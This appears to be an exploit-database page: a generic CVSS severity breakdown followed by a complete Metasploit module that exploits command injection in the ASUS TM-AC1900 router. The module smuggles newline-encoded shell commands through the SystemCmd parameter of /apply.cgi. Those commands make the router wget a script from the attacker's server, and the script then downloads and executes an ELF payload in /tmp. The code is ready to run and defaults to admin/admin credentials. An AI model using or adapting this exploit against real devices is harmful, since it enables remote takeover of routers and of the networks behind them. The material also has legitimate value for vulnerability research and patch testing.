The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ASUS TM-AC1900 Arbitrary Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution',
'Description' => %q{
This module exploits a code execution vulnerability within the ASUS
TM-AC1900 router as an authenicated user. The vulnerability is due to
a failure filter out percent encoded newline characters (%0a) within
the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses
the patch for CVE-2018-9285.
},
'Author' =>
[
'b1ack0wl' # vuln discovery + exploit developer
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'References' =>
[
# CVE which shows that this functionality has been patched before ;)
['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
],
'Privileged' => true,
'Targets' =>
[
# this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
[ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
{}
]
],
'DisclosureDate' => 'April 18, 2020',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
])
end
def check_login
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "/Main_Analysis_Content.asp",
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if res and res.code == 200
# all good :)
return res
else
fail_with(Failure::NoAccess, 'Invalid password.')
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end
end
def on_request_uri(cli, request)
if request.uri == '/'
# injected command has been executed
print_good("Sending bash script...")
@filename = rand_text_alpha(16)
bash_script = %Q|
#!/bin/sh
wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
chmod +x /tmp/#{@filename}
/tmp/#{@filename} &
|
send_response(cli, bash_script)
else
# bash script has been executed. serve up the ELF file
exe_payload = generate_payload_exe()
print_good("Sending ELF file...")
send_response(cli, exe_payload)
# clean up
register_file_for_cleanup("/tmp/index.html")
register_file_for_cleanup("/tmp/#{@filename}")
end
end
def exploit
# make sure the supplied password is correct
check_login
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
print_status("Exploiting #{target.name}...")
@lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
start_service({'Uri' => {'Proc' => Proc.new {
|cli, req| on_request_uri(cli, req)
},
'Path' => '/'
}})
begin
# store the cmd to be executed
cmd = "ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
res = send_request_cgi({
'method' => 'GET',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
# spaces need to be '+' and not %20, so cheap hack.exe it is.
# required HTTP args: SystemCmd, action_mode, and current_page
'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+¤t_page=Main_Analysis_Content.asp"
})
# now trigger it via check_login
res = check_login
if res and res.code == 200
print_status("Waiting up to 10 seconds for the payload to execute...")
select(nil, nil, nil, 10)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
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